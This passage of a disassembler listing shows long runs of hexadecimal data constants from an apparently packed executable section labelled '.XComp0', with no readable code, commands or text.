		dd 0E21380C5h, 0EA1E77F1h, 3A9202EBh, 967DFE08h, 0C9138C68h
		dd 94C05100h, 6E351CB4h, 86800070h, 0BDA0E617h,	0D800E319h
		dd 109B075Ch, 0C9AB25h,	0ED694B56h, 0AE90C09Eh,	735CB00h
		dd 8F1B03BDh, 0BA4C00DCh, 0E9986405h, 0EAFED085h, 4B12787Ch
		dd 0B400EC56h, 9D0547D2h, 0C0690024h, 2B5EE21Bh, 0F90654CDh
		dd 6D6EC80Bh, 13413F10h, 69FBC680h, 9C3E936Fh, 21D3ED00h
		dd 81801632h, 465B0ECCh, 7220049Eh, 5D68ADCBh, 4C1BEC00h
		dd 33F3B7B2h, 0F2BD0012h, 2CA479ABh, 51006336h,	7874E45Ch
		dd 48848BBh, 0DA6B1B89h, 30DC8758h, 8652C5ADh, 78B04F26h
		dd 7F38A88h, 0B1B95517h, 201B7341h, 6100F0A0h, 5A5CD4FDh
		dd 59D75B8h, 0CA18FBFh,	0EDBC00F2h, 7F2DDBD1h, 0CC794300h
		dd 32C02178h, 401C6082h, 4E970FFh, 47981E00h, 0CF532717h
		dd 21D561E3h, 0F0758452h, 0B0B65819h, 0C1076C1Dh, 37831E83h
		dd 0FE292481h, 70030376h, 0D7B0E443h, 9E000E82h, 6477AE05h
		dd 73255129h, 0BCA501AFh, 4B55992Dh, 0A2A1D413h, 546D712Ch
		dd 6E73EE00h, 2E7E8B4h,	9EB8FC1Bh, 0C0C0C8ABh, 1F06A928h
		dd 41D2B05Dh, 84BE0031h, 0B2DFBB27h, 0BD01A956h, 0ACA4828Bh
		dd 25F89092h, 0FF44005Eh, 0C1733634h, 0B160F76Bh, 0BB572B78h
		dd 612300A5h, 0A75BECB2h, 4A005ED6h, 8434BDACh,	3BDA8DD2h
		dd 0BF00AEFAh, 2F9E0D65h, 0B3002413h, 71AC2CDBh, 1A9BCEh
		dd 2D76A9FBh, 6E56DACAh, 34F98600h, 10BE8FA6h, 3E0E000Ch
		dd 89690107h, 58C01F2Bh, 2774C9A8h, 6A8A0E6Eh, 62030639h
		dd 210E3088h, 0C09501ADh, 0FE736766h, 62B50925h, 1154F3h
		dd 28AA26h, 4BEB8527h, 5781C008h, 5AD602E3h, 495CCB09h
		dd 0FAC59848h, 80E95600h, 0DC21BC70h, 0E1F80022h, 1FB6621Bh
		dd 0F12628D6h, 2D87A4E6h, 0F2F016E8h, 0EA1532Ah, 0E211ED30h
		dd 0A5562760h, 0FF0C7F36h, 78E889BEh, 8D60BFEh,	2C712DA7h
		dd 797B2800h, 69F14C0Ah, 2F85A0C8h, 0A1CCFCD6h,	1C455FD7h
		dd 0A04AECE9h, 800C61Ch
		dd 20936CA2h, 66E03Fh, 7D38A511h, 0E529D533h, 1E95BF3Eh
		dd 0E2C90C44h, 1DC7AA1h, 0FEB03B03h, 2BAFECFFh,	0F8B45404h
		dd 3488E10Ch, 0B855E016h, 1712D0F2h, 73CF97Ah, 6C6A0F9Bh
		dd 0B872C2C3h, 7C69CCFh, 59EAB4E0h, 0D0C4C73Ah,	0AA474627h
		dd 10EF3E00h, 4EBDCA5Eh, 66A90034h, 1E097AE4h, 0E700AE4Bh
		dd 5E8E6147h, 0B3039Eh,	0A2F48697h, 1BF75BF6h, 0C56CCE2Ch
		dd 442D0238h, 0FEB36340h, 2F708450h, 0DA28C11Eh, 0E19B854h
		dd 206E0568h, 765567B8h, 79692AC1h, 0FB1C00A8h,	7B4FFC4Bh
		dd 0C0014CF7h, 567224DEh, 0C068CC2Bh, 67693F00h, 55E9AF3Ah
		dd 883C4626h, 0AB7C0Fh,	223365E1h, 37851740h, 71104015h
		dd 0E2A1A4DCh, 83745C00h, 0B7DF146Fh, 38F6F0DDh, 28EF6879h
		dd 0C9970C83h, 0A9FC1809h, 3B47A9Dh, 993E1A49h,	68008C78h
		dd 6CD6FAE3h, 58B17B54h, 0A819DEB4h, 0DC35A00Ch, 37308457h
		dd 0DCAA8106h, 58CB600Eh, 15D81AC9h, 0E3B1C403h, 1D98F0Ch
		dd 0F4380218h, 0F0B8721Bh, 377DFF27h, 6F947F50h, 0F0F6470Bh
		dd 0ECE704CDh, 990A18A9h, 4489E4Ch, 2155D3E1h, 81F21C32h
		dd 0DBAB33A4h, 0D90CEC7Ch, 6BE8BB3Ch, 4C101BF5h, 38B8E09Eh
		dd 77691240h, 0DF2801E1h, 971197FAh, 0F0D09AF8h, 17603Bh
		dd 623D6946h, 0CFA572C8h, 50909A4Bh, 205BE2h, 0B4744EFFh
		dd 84A6EB43h, 0B2D93560h, 9CFB542h, 9BE9D18h, 0E961B802h
		dd 0AD2C6500h, 117000Fh, 0F6BCE6CFh, 9B74E2A3h,	2D5D9D00h
		dd 154A2662h, 65CE056Ch, 85B27142h, 80C0EC84h, 5A91DFA3h
		dd 0D89600CFh, 4A657FFBh, 0D6005B58h, 0B0A8F65Dh, 5EC302B7h
		dd 9A088837h, 0A9A5A003h, 0E0BB9B4Fh, 76A62C8Fh, 46E0B0h
		dd 588AFCE1h, 0F3B479E6h, 9040E25Fh, 0A79D2B33h, 0CC350B78h
		dd 68F9C858h, 0E2DBAA03h, 0A028E81Ah, 72A5007Bh, 582AD538h
		dd 0B4003EF5h, 2C0C7125h, 118BD9Fh, 0AAF74A6Fh,	2B74E3A0h
		dd 77EDF4C2h, 0F95FE004h, 0CFA91C30h, 9D89ADC0h, 0C78345h
		dd 41F4AA09h, 0B0CBEA49h, 0D79A220Dh, 41C1131h,	0CF273072h
		dd 8C6D7310h, 7A2BE100h, 0A169ECBEh, 35D7008Ah,	5CEBBF6Fh
		dd 0E0488DA2h, 0BD190054h, 91171C58h, 272D0028h, 0C1157BCh
		dd 65743087h, 37AED300h, 0B508BD48h, 6E4D00F5h,	71F38B6Ah
		dd 1600946Fh, 322F1F55h, 27BF8DABh, 0B47C741Ch,	69662D07h
		dd 0A64FD960h, 542A0075h, 0BAA7FD36h, 0F707C7ABh, 7DF6816Eh
		dd 9DF85C30h, 0E19558C4h, 8E693000h, 5D4643FCh,	8031393Dh
		dd 0B270FBAh, 2E1A5A8h,	69DB11E2h, 48405648h, 241C6CC5h
		dd 0A2C0DD66h, 85E8E4DFh, 3BA7003Dh, 4EA18ED8h,	0FC06A0E3h
		dd 16A3E923h, 6D930039h, 0C31E2A3Ah, 35071927h,	33DCD1BAh
		dd 0A5DEE21h, 54D4E4C9h, 10EF603Bh, 0CCED0BB7h,	0AEBC5000h
		dd 0DA2A1B97h, 0E57E6Dh, 6C482C1h, 0A3016EB7h, 1590D0A8h
		dd 6AD52200h, 1FA27ED7h, 8A593961h, 0CD9300FBh,	920EB473h
		dd 8C00E99Ah, 72BB740Ah, 93E57C6h, 9D9113C8h, 5EAF950Eh
		dd 0EA561AE0h, 1560554Fh, 496FB410h, 0C6650AD9h, 84259Ch
		dd 0E9848B44h, 16001027h, 0D92ACBB6h, 97440E1h,	329CAEEAh
		dd 92A41C20h, 0EF7F2923h, 0AA5D6E00h, 647163EDh, 159D000Bh
		dd 35107B3Ch, 0E90099C4h, 5FC5E649h, 0EFB77Ch, 0FBB48786h
		dd 0EA77668Ch, 4FA26100h, 412F37BCh, 423D00B6h,	6F930B22h
		dd 4507CB62h, 84830F67h, 0A4D7D4C0h, 0C1D21479h, 3E05ACE6h
		dd 280E52h, 9B7087FEh, 4E009C89h, 7D4C54A7h, 0C90FB0h
		dd 3E48EFBEh, 7C77C25Ch, 577A1200h, 8026E8DEh, 2DF91EC0h
		dd 0AC514FF0h, 0AA555080h, 847B9F6Eh, 0A4BC8500h, 44F1EC4Ah
		dd 16770048h, 2B4BAA1Eh, 431EDDC4h, 6000574Eh, 2C9F1265h
		dd 0D4210147h, 7D893A6Bh, 0F70AF4CCh, 0A40E3600h, 21B47673h
		dd 4A9B00D8h, 2C97135Dh, 63000469h, 0F3BC59A3h,	1EF7AF8Ah
		dd 732D788Bh, 8C80B330h, 0D50063AEh, 6757866Ch,	15C6A3Eh
		dd 9D99E4D3h, 0F8C0FB25h, 4DF00C8Fh, 24E97024h,	1418F420h
		dd 0E486DA1h, 0A3BB01D9h, 60D1D8EFh, 0DA12DCB6h, 814A463Ch
		dd 0E14D1E11h, 0C6701916h, 0D3BA0999h, 0DD07310Dh, 2FF0D0ACh
		dd 0FF00BC6Fh, 2560E77Ch, 0F301E7Ah, 0CCD640F4h, 481A7B40h
		dd 0FB1C2609h, 66549FA8h, 312100D4h, 0AE6EB04Eh, 5B3800F2h
		dd 720222E4h, 50006CDh,	0D3F1FC71h, 94E11Bh, 0AF8E23BFh
		dd 8662D6DBh, 380192B8h, 4EB358A0h, 0B88F61D8h,	4980BD55h
		dd 4F4A6E44h, 0C0009A76h, 5A1D8FFh, 73694D42h, 0E2C2E14h
		dd 9020C2h, 5C990D0Fh, 773D3FCDh, 784AAB01h, 826EC19Eh
		dd 0ADDC8C35h, 8473E8h,	5237BF72h, 0EB4F9826h, 0D9B92250h
		dd 247D0E00h, 12BD94BEh, 0FE37003Bh, 32C62B05h,	0D05EF8Bh
		dd 72F7E052h, 1F613BC1h, 0F4D2A3F0h, 0C017F45Dh, 4207E428h
		dd 0A900EA09h, 0AD166557h, 0D06F03h, 0F358FBCAh, 6B64EB66h
		dd 70472200h, 613EEEB5h, 0ACEC391Bh, 0BAB19005h, 2B04086h
		dd 0F7FE8857h, 0FDB61300h, 20B38EEDh, 6F4B00C6h, 6C1C35D4h
		dd 3090D91h, 98CA4B9h, 0A9878914h, 0A5690004h, 3251896h
		dd 0C5EB582Eh, 67C01AB0h, 0B73EF785h, 0CC14B3E5h, 9833EB2Fh
		dd 278A9Ch, 6F0156B5h, 0F2B35FD3h, 0FB84A900h, 1467A3C4h
		dd 0F04D0045h, 0AA7D8BB9h, 8907F247h, 3EE38055h, 0E9E2BB50h
		dd 28BD000Eh, 0C96A4B5Fh, 64182C42h, 0CC40A54Fh, 4174108Fh
		dd 0B8AE0E8Ch, 55CE042h, 604A3159h, 79D62939h, 0B41885A4h
		dd 24500DADh, 747A31h, 723033FBh, 0D54C6984h, 91434506h
		dd 2638C185h, 80348EFFh, 0E221314Fh, 1D24B1CAh,	5403D5E7h
		dd 0EF053290h, 5A85AA80h, 44F33A7Eh, 50649987h,	43C47B5h
		dd 0D6AC80EEh, 1500068Fh, 0B9781779h, 3BC81C09h, 9A027124h
		dd 8E557489h, 0F47BE468h, 0A7883D00h, 852640F6h, 252E01BBh
		dd 75946A4Ah, 6073D0BEh, 0C58D0301h, 7E54B71Ah,	0F84BD7CCh
		dd 0E6EE69h, 375286BBh,	1D7C131Fh, 0C6108D00h, 61483F08h
		dd 0BFE401E3h, 6AFB024h, 0E0E7F4D2h, 8B900CF6h,	0F3EB6000h
		dd 0E2226D29h, 7F340080h, 0D044FDAAh, 17018EB9h, 5D691DF1h
		dd 8C20CC9Dh, 4A07012Ch, 13BCF21Ah, 7D3C24FCh, 0BCF0402h
		dd 405C7E72h, 0E1CEA0Ch, 88E2ACDh, 350D82E0h, 0C4F822E1h
		dd 1743B4Ch, 0DE3C1468h, 0B08E5A4Ch, 0C9873206h, 0E97D7095h
		dd 0A1002BBFh, 0CC45FF01h, 59579C93h, 778084CBh, 9F7347ACh
		dd 0A052FA00h, 0D7B6F705h, 0A24400F6h, 9610E7DEh, 0D50032D1h
		dd 8BA1C4BEh, 0F22EF03h, 0A6BD2E4Ch, 0A0360840h, 46ECDA43h
		dd 67419500h, 7B09210Eh, 529401A4h, 64312711h, 51CBC484h
		dd 0DC232B00h, 914FC297h, 48100312h, 0ABA7339Eh, 0B99F7FE8h
		dd 93B39D04h, 0C0D0DE7Eh, 70DCACh, 20C7B34h, 3DF75F20h
		dd 354C63Ch, 0EF0906F0h, 92A60197h, 0DE379C8Fh,	0D9C720A1h
		dd 0DC3B6A26h, 36C13400h, 0EF78A90h, 6B397050h,	0A2E21940h
		dd 3F07F6C6h, 28B20582h, 750AC09Fh, 0DC02EAh, 86C7CBE6h
		dd 94FBA5E1h, 0FD3B9300h, 0EAA98750h, 236B02DFh, 5304E74Ch
		dd 0E8002843h, 29FD92BBh, 1CAFA8h, 0ACC64EE3h, 2842658Dh
		dd 0D8432016h, 0B806800h, 0CCB6EDFEh, 0F2618E9h, 75049B00h
		dd 2EA8F834h, 19720022h, 6D4D54ABh, 48002AB6h, 496A5E7Ch
		dd 4C07835Fh, 5C1F9643h, 547100DFh, 0AB3A40CDh,	0A467EF00h
		dd 940ABD50h, 0D4C700C2h
		dd 5628BEB7h, 1009734Fh, 20E3BB2h, 64499D20h, 880F00F4h
		dd 60CE8D70h, 0E9015E76h, 2EC37E8Eh, 9BC88AA4h,	140F030Ah
		dd 0CDE445Dh, 0C75B401Ch, 7F6A4000h, 178A504h, 0CEA84C27h
		dd 700B0A03h, 0AE003211h, 0D582FF16h, 2E75D1E4h, 831F71h
		dd 5B634E9h, 670B4C9Ch,	5DC58CFDh, 0A260B48Fh, 0E9BF12Bh
		dd 0E8814700h, 0B32C558Bh, 0FEC03933h, 1D78DCACh, 414D1E8Dh
		dd 222F3EBCh, 0C9E8807Ch, 0DD29DFADh, 51F474h, 44A948E6h
		dd 0AC78567Dh, 0BA1CECB0h, 758081B6h, 8CDFB32Eh, 7499E6h
		dd 0C6503248h, 0E10066C8h, 15B69C2Ch, 0B5A7C02h, 0EC127B14h
		dd 3EC0D80Eh, 8BD2F8D4h, 0D73CA800h, 0CA36C36Ch, 429F00C4h
		dd 0B41109AEh, 3F01CB83h, 0D8CEC778h, 86D02063h, 5FEA0B2Dh
		dd 1880AA14h, 8E30B8E0h, 75FE0F00h, 60B52F8Bh, 426400ECh
		dd 0D1529F8Dh, 6F0E392Ah, 0A70B0E49h, 55F13A97h, 1DC43DCAh
		dd 0B26C4C20h, 7C761E01h, 0CC8AEBB7h, 0F900825Eh, 0ACD4A651h
		dd 675535h, 8952B301h, 0ECB534Ah, 77EF0800h, 3E098FA1h
		dd 0FC320059h, 0DD076A37h, 0C700FB49h, 0D04BD6E3h, 61A1B0h
		dd 9A45E619h, 75ADCCEDh, 3CF4B700h, 9EB5A9C2h, 488CB23Ah
		dd 9006C48h, 97BB16E0h,	3800B2F5h, 56D03201h, 712BEF7h
		dd 226430D8h, 80B59758h, 52F492C6h, 0AF808600h,	0DABB9008h
		dd 7082005Dh, 0ABBA16A1h, 760061E5h, 0B91FA06Bh, 56E0ACh
		dd 0AD8A6F7Ah, 0C7D283E2h, 99009E7Fh, 0CA764453h, 6740D4h
		dd 0DBCD26A1h, 34F16904h, 0AFF5CC0Eh, 0A319C47Dh, 7EE7E4B0h
		dd 72913315h, 0FAC0B711h, 7BFC43A2h, 0D20CF700h, 8124D54Dh
		dd 0DBF100A1h, 59071D54h, 272E2B6Ah, 0A0003DC1h, 418A0A13h
		dd 2EC0055h, 2D0D5336h,	355C0F69h, 8121006Eh, 7654B9D2h
		dd 0A2420051h, 0A9061DE0h, 0E5008DB4h, 3B2D3D52h, 4ECAD255h
		dd 0EA3400AAh, 654DF24Ah, 515D700h, 5C2A14D3h, 99BF12DCh
		dd 37060091h, 0D106A748h, 7D21E707h, 9F08E5Bh, 50B9A187h
		dd 0D4C66Bh, 88C13BA3h,	0A58E8022h, 2B1F3EF0h, 302C2E2Ch
		dd 9A424A00h, 3B6E2A8Ch, 1A87ECA8h, 89B7C3ADh, 2E836880h
		dd 0CD00A5F2h, 38075B52h, 17925718h, 0F06B87h, 3C8E0E26h
		dd 0FC1E5D01h, 0D6007C1Ch, 4767846Eh, 0AC6D00E4h, 0FE587256h
		dd 0D003E355h, 0F435494Bh, 0CBE80033h, 0A6A90411h, 507E4AAh
		dd 60DB2D0h, 1214546h, 71A8FC78h, 0E2E3C930h, 6A60D8A1h
		dd 0AC508038h, 0DAAF16A5h, 3150EA4Eh, 11182BF2h, 0ACBC30EDh
		dd 0CF8ABD14h, 49DE1010h, 90F0594Bh, 0CF011937h, 91EAAAA8h
		dd 76113948h, 3E28FCFEh, 0B04ED107h, 0B566CDACh, 40DD0A60h
		dd 1174378Eh, 0A9019C39h, 604AAA2h, 74893B0Ch, 1330860h
		dd 9F94414h, 0F46F8599h, 6630BDA9h, 66061B0h, 38468429h
		dd 0A1A8FF02h, 5C91FCAAh, 0F773113Ch, 0C8FEF140h, 0F6E1F0FBh
		dd 0BE520084h, 36050456h, 60FE9EFh, 3EFF76C6h, 0F2A9D000h
		dd 373E4h, 4A9567DCh, 525D7FFEh, 3F006975h, 0C3402754h
		dd 1517521h, 621338ADh,	0E431D702h, 3400F0C1h, 0EC67003h
		dd 7F2E56h, 0FE21B316h,	7580AE5Bh, 23493Eh, 55FC2254h
		dd 0D5DFCDh, 0FBEA444Fh, 0D913852Ah, 1F8A2700h,	475C39EFh
		dd 904500DBh, 5B54EE14h, 2A0EE048h, 604C1536h, 0EA76AA6Fh
		dd 65FA039Eh, 59E76E19h, 39D28780h, 0F5F93C0Fh,	7336E004h
		dd 2EE02638h, 4962C8h, 0C9AB0C6Ah, 7903A7CAh, 0E360E6D1h
		dd 9C7F98B1h, 75DA793Ch, 6E7F0Ah, 4AE5E0BCh, 4891CAEDh
		dd 0AA980F00h, 594D8BC0h, 246901AEh, 6AA86B6Eh,	0E80FD4BBh
		dd 0F5BA6C00h, 0DC81A5FFh, 79118BEh, 0A38270E1h, 1700EC78h
		dd 25319030h, 6D8114h, 283C9BAEh, 33AF1534h, 2C47F900h
		dd 7B54F765h, 0C3F00D7h, 0FF60B877h, 5900CA83h,	0B0B7B3DBh
		dd 600961A0h, 0E27954C6h, 1E075B77h, 27C0714h, 8D45E740h
		dd 46D8C0BDh, 0AA221CDh, 6A5CF902h, 0C07470F7h,	0EAFD049Fh
		dd 4BB6008Bh, 5FFC8E2Ch, 0C860E52Dh, 0F9555E38h, 62A70083h
		dd 9FA1BCEDh, 0C600F324h, 84DB858Fh, 0F1937FB2h, 0F4318040h
		dd 0C8E6074Ah, 0C0F28AA2h, 0F8FABE2Eh, 5BE37B00h, 41BA0D6Dh
		dd 9F033010h, 0F31B84F8h, 9705AB00h, 0FD1220F8h, 0F23A044Bh
		dd 8053A0EFh, 0D2A25418h, 5CA78838h, 0E895075Bh, 0D9C6852Dh
		dd 0A1D50A58h, 9FEC286Eh, 42E840A3h, 9C09C704h,	5AB85B0Ch
		dd 5D8A06Bh, 0DC85AA7Ch, 8AF84013h, 0CD5EA879h,	0AE153B00h
		dd 0AD270F4Ch, 652900FCh, 203FF770h, 1907149Ah,	0EF5E9CF5h
		dd 6E032F30h, 32DE3EAAh, 7C20F989h, 70640Ah, 6A24738Ch
		dd 4D005E97h, 176DDD5Ch, 0D774B3h, 0A589C10Fh, 0C66F44Ch
		dd 0AAE89C07h, 0B8C005A0h, 0F6CBB7h, 0C00E92E9h, 0FC9B1D1Ah
		dd 2907ED18h, 0B9EC46h,	60AA85D4h, 1D0A6FBDh, 9FA5B401h
		dd 0DF81AC46h, 1580470h, 8933B9B2h, 80A6C951h, 0FAF746F8h
		dd 7019E38h, 0EF21AF64h, 0CAC870A7h, 8C7D0623h,	435FE700h
		dd 6C4D387Fh, 34170044h, 9CED37DBh, 4001D896h, 9FE9526h
		dd 33FC5601h, 59B200FCh, 0D36F38E9h, 0CD00DD19h, 26C1B71Fh
		dd 0A14844h, 8AB5154Ch,	5FF91DA5h, 16612500h, 6F1B4FE3h
		dd 0DCD010Fh, 1F7617DFh, 8163F907h, 18A86274h, 6CEC3E2Bh
		dd 96120005h, 0BDC965F4h, 0A000C008h, 7E8C8532h, 0A083D927h
		dd 0FBAAEE0h, 0A520411Eh, 0BB200A8Fh, 0C376E3B2h, 0B70146E2h
		dd 0D2B6F3E5h, 83D02D03h, 2A0E7C66h, 7FDC18FCh,	4CF3000Ch
		dd 0C3C4ADDEh, 67F2B3B8h, 3D6EA713h, 0F8D81F00h, 7C1A7F69h
		dd 10E3003Bh, 0D2FC8B4Eh, 1803132Bh, 1188C2E4h,	436FA0C0h
		dd 76DB1F7Ah, 7F7BEE3h,	732CFDF5h, 71FC208Eh, 0DC604079h
		dd 0C5DDC120h, 0B5CB007Fh, 2789C8D0h, 0D177AB6Eh, 0A13C9BF2h
		dd 9883A4EEh, 0F17AA500h, 0FE759203h, 0ECAEF0F6h, 71E5003Bh
		dd 0B6A3FCD6h, 0CFB8378Fh, 176E5205h, 4FC0E948h, 3166FAEh
		dd 94BAACFDh, 0B7E8D2A6h, 0E830D139h, 95698897h, 3B7095ECh
		dd 6A987E50h, 90FC7928h, 1967B002h, 8320BF70h, 0F0A99694h
		dd 1898E30h, 0F72D94F1h, 0C8F9745Eh, 54C9DFFh, 0A4673F5Ch
		dd 6A80CCEFh, 0B8870F9Bh, 0A5B12469h, 0B42F004Ch, 0C20CE964h
		dd 0F4B7AD00h, 5328799h, 0EEEF007Ah, 0DB7F2DE3h, 72009AB1h
		dd 0A9BAD8BEh, 70B201D0h, 50131F51h, 4BFAC0A5h,	6DDB8C6Ch
		dd 0E994A00Fh, 0A0530930h, 7AB0D010h, 92AAF2ACh, 59100088h
		dd 91F8A4C8h, 0F9079B53h, 33E44E99h, 407DF482h,	7C0C86C8h
		dd 0A14D046Fh, 834C23E5h, 43F45DF4h, 0E86DA882h, 44B5646h
		dd 0DD37397Ch, 5C98C3B4h, 1CBDB6E8h, 58FD6800h,	9CFB2578h
		dd 1A39002Bh, 0D1237B31h, 15394B6Eh, 0D5F0016h,	0F56862F9h
		dd 910E0A36h, 809CD1E3h, 1971324Bh, 930483DBh, 5D784FD3h
		dd 0A239F4C0h, 0B0C607E4h, 536DBCD6h, 0E03E6C54h, 78C480F2h
		dd 85F6F50Eh, 0A4731D1Bh, 5806A94h, 724BC823h, 0EB9005D8h
		dd 0B810610Bh, 0CFC8C858h, 4EE3B00h, 0F04F8E7Ah, 2175EAh
		dd 1E24FD7Ch, 2744E4BFh, 61028C1Dh, 915B017Bh, 0EA1A76BDh
		dd 0F62AE4h, 0D4E2CCF5h, 18D99AA8h, 36A3DA00h, 0E8D4992h
		dd 0EADD0F54h, 0C70093D2h, 65F1F524h, 19FD5100h, 77051BF7h
		dd 3999000Dh, 158D46CEh, 5A092B1Dh, 11E86474h, 31F8503Ch
		dd 4CCCB03Ah, 0C600B8D1h, 10681FA6h, 22071CA4h,	41B3D97Fh
		dd 7E733210h, 5E6E06F9h
		dd 90C6DC1Ah, 0A90E5900h, 680BFDBh, 0F277B05h, 937EE5F3h
		dd 0A06C0840h, 0A1004188h, 0B0E7B54Eh, 1F7F753Ah, 6A0327h
		dd 45461B26h, 2872EB0Ah, 68B8B360h, 3B106BECh, 7500D68Dh
		dd 6FCE1135h, 0B004652h, 0AD2F4A02h, 1C20A87h, 0B657AE92h
		dd 8B217D3Eh, 80E6FAB0h, 75EBFC7Ch, 12F2009Ah, 0C1EA5706h
		dd 0A91E76E4h, 0A6004A87h, 7993CC36h, 0EEA800DCh, 13F2B009h
		dd 320F383Bh, 0C0B1E644h, 0F5D2D776h, 90FAFC2Dh, 0EBA304C1h
		dd 8727314Dh, 0DC6F8068h, 88A0CC11h, 0A41D4C8Fh, 0F6C124CBh
		dd 447145Bh, 21E01E8h, 74FB645Fh, 0E4C13770h, 44F04096h
		dd 2A7D168Fh, 0E7BEB601h, 9B30EA31h, 2EAE8441h,	694AC0h
		dd 0AA6ACF39h, 760B3EFBh, 145ECC00h, 605951DDh,	0D97E00ECh
		dd 8FA5BDE1h, 0BF00D6CEh, 0CCC1DF7Bh, 5A9F8Ah, 0C9E63EBEh
		dd 0CD0C30FBh, 477ED474h, 64E91900h, 0A90B242Bh, 0C43C0015h
		dd 2EFA3F1h, 0C06E42F0h, 1EF7688h, 30B1791Ah, 0E83075ADh
		dd 0BF12C673h, 8040F71Ch, 7AEE128Dh, 0F9E30C66h, 8F1858E2h
		dd 0DD789500h, 0F8123D4Ah, 0F3FC6Dh, 39F1CC7Fh,	0AB6CAE05h
		dd 0B00228C4h, 6F4150C0h, 0A9BC0092h, 0C9EC3086h, 0DD00AB4Ah
		dd 0A1B0E8Bh, 76266387h, 0CA1D04F5h, 0C1E53EE0h, 0C06BF768h
		dd 37028505h, 38F694EBh, 0D04F636Dh, 3A34CC0Dh,	0FA80E37Ch
		dd 0D716B360h, 8F3A7AECh, 0E6100011h, 0C59377EBh, 4DC10F8Dh
		dd 99C0CEEAh, 19B4B37Bh, 6200609Ah, 0ADC3A533h,	0B82BFFA7h
		dd 0A3DC0012h, 744DB634h, 190E91E6h, 0A2B5FA2Dh, 68AB1408h
		dd 0F8592818h, 0F02C00EFh, 7AF9856Bh, 0E001EE9h
		db 81h,	9
		dw 7CBBh		; DATA XREF: .XComp0:00588835o
		dd 1E9A164Ch, 3A493D9Ch, 0C462C00h, 77A9EE5Fh, 0DF8C7900h
		dd 8CF6AD5h, 5D690058h,	94C2FCA8h, 1F1FD97Dh, 4D404182h
		dd 69EF183Eh, 27E101B5h, 64B3F628h, 0C3C04086h,	1A026194h
		dd 0B939FB10h, 325C407Ah, 6C240029h, 843FFEE0h,	1400DBD6h
		dd 0F75196Dh, 0E7E9009h, 0B678E5E1h, 808DD580h,	7C00F5A1h
		dd 4F2169DCh, 3CF3548h,	0F6E6C2FEh, 9C0070A0h, 4BF9BA3h
		dd 18D2BB56h, 292D87A4h, 0F50790AFh, 28ABC5Ch, 0C0B561D3h
		dd 2AAB59h, 152DEDCEh, 0C4DFF6BDh, 42BFE300h, 718F63AFh
		dd 52010023h, 830B5A93h, 30B7BEEh, 0D78A8164h, 9767FA80h
		dd 0BA074CFEh, 3722F546h, 2A470019h, 0CE366Bh, 0BE344E0Ah
		dd 69E0247h, 113BC203h,	88CA126Ah, 8B1805h, 0F883E1DCh
		dd 0D2867F5Dh, 9CE44300h, 0B266C13Ch, 75C70598h, 80A942A2h
		dd 0B59FF7F9h, 0ECE1C31Eh, 0E949A040h, 0C8D4B8h, 0EB66A4A2h
		dd 0A5516A62h, 0CED97800h, 771B7DAAh, 0AD0800C6h, 90D2C8BDh
		dd 967C7B89h, 0F3E7D800h, 0CA782F23h, 31740Ch, 9411EB06h
		dd 0F56D2B04h, 1A008170h, 3B75F48Eh, 12485D0Bh,	0C0633AE6h
		dd 2D82A8A4h, 6C00AD78h, 0EF881A74h, 775F047Eh,	595001D6h
		dd 2A066EE4h, 100EC44Fh, 0AFBBCA01h, 0E38E9CDAh, 3982F0h
		dd 0D622BF7Dh, 0F86F84C2h, 7A1E01Eh, 5C8D0600h,	881E13h
		dd 91ACB99Fh, 0C0BE1936h, 0C7AB200h, 2584F4EFh,	288CE83Dh
		dd 27C9F9EEh, 58001437h, 8B87F01Ah, 19164400h, 70E130D2h
		dd 1E2C9856h, 80F46A2Ah, 0E34DF8B6h, 8D00B504h,	5012C3A3h
		dd 0CDEED9h, 22C49892h,	0DDF8CF5Ah, 0B8949E00h,	13D2611Dh
		dd 8F9900DFh, 486321B7h, 5A00FC25h, 6B542993h, 0E8050ED8h
		dd 94A7351Bh, 0A9EC001Ch, 0EDDB2E23h, 0DCE6DF0Eh, 80D88EFDh
		dd 57687B47h, 0D728C721h, 0B0B1070Fh, 2FAFB806h, 0D174AAE8h
		dd 0C7FD9A00h, 0A93AA30Dh, 601F3071h, 5679C06Ah, 0E06A581Dh
		dd 8025D7CEh, 0D28A132Eh, 5A498E1h, 75382683h, 0D5B180BDh
		dd 0D638C9E0h, 4FB50765h, 7911AE06h, 43D3EA2h, 2599AD00h
		dd 0BE37FE7Dh, 53F52307h, 8CA0151Dh, 90749h, 7584E111h
		dd 2796B4ABh, 3F285A00h, 0B1327429h, 8E11002Eh,	7DFD039Ch
		dd 20FE319Bh, 1A8C8D00h, 1C073BCCh, 0F48F0084h,	22CA92Ah
		dd 5871C3EAh, 68E46212h, 1689FC00h, 0D86166h, 8314D0BAh
		dd 0B057AA9h, 1F0A6F00h, 49C3DD99h, 0E291002Bh,	0DEC8595Dh
		dd 21007017h, 0AA673DEFh, 2B24B1Bh, 0A41802D4h,	0BC06BADh
		dd 570059A3h, 37470AD6h, 15FC5Ah, 0F7D0C56h, 0E52A1B2Bh
		dd 6001F101h, 0C00B30CAh, 0C1CC34h, 0AADB3744h,	0A8E2FFBDh
		dd 0C902D50Fh, 0A9F8009Bh, 0ABE3C69Fh, 43043E4h, 453023B8h
		dd 49D2104Ah, 2CFA0BA8h, 0AE009A7Dh, 0AD878973h, 22EC5503h
		dd 0E01B72B9h, 0C86BC8D2h, 1242C629h, 21E524B1h, 0B2126D76h
		dd 89B33710h, 443608F1h, 2284DE74h, 0FD429976h,	2171ED11h
		dd 970308CAh, 2222099Eh, 0F622791Eh, 9E5E2214h,	0B03544h
		dd 0DC8A4FFAh, 0DB7C85FEh, 0A871E600h, 9586F3AEh, 78E700E1h
		dd 3115C8Bh, 0C900F453h, 99C487D4h, 18F35804h, 1085D1CAh
		dd 6972B0FDh, 0D702600h, 0B609772Eh, 0F44F58F6h, 0B480F539h
		dd 0E0D7D4EBh, 582E3754h, 10008C3Fh, 6FF73DD6h,	0A0EA0077h
		dd 7C95DB29h, 0D4003E57h, 2D0A25C5h, 4D28Ch, 1C64552Eh
		dd 9F6802B1h, 8054493Dh, 0CE95318Bh, 25A7D50h, 0D7E77148h
		dd 0A472207Ch, 8704A100h, 0C8038474h, 519900B2h, 7E7D756Ch
		dd 900354BCh, 0EF0BFE95h, 0BB660096h, 9B1E7879h, 0E800F23Ch
		dd 0DE60ED67h, 653A1Ah,	6F2C56F1h, 348B63CCh, 6E092600h
		dd 0B912311Eh, 619A0015h, 4DE02A42h, 7A01FD07h,	5CBAB3DFh
		dd 6FE85DBDh, 7FDB010Fh, 0B01E84F7h, 9B762085h,	42B43700h
		dd 0C66CCC86h, 0AF620048h, 0C8D39E8h, 0C21FF4E7h, 738001AAh
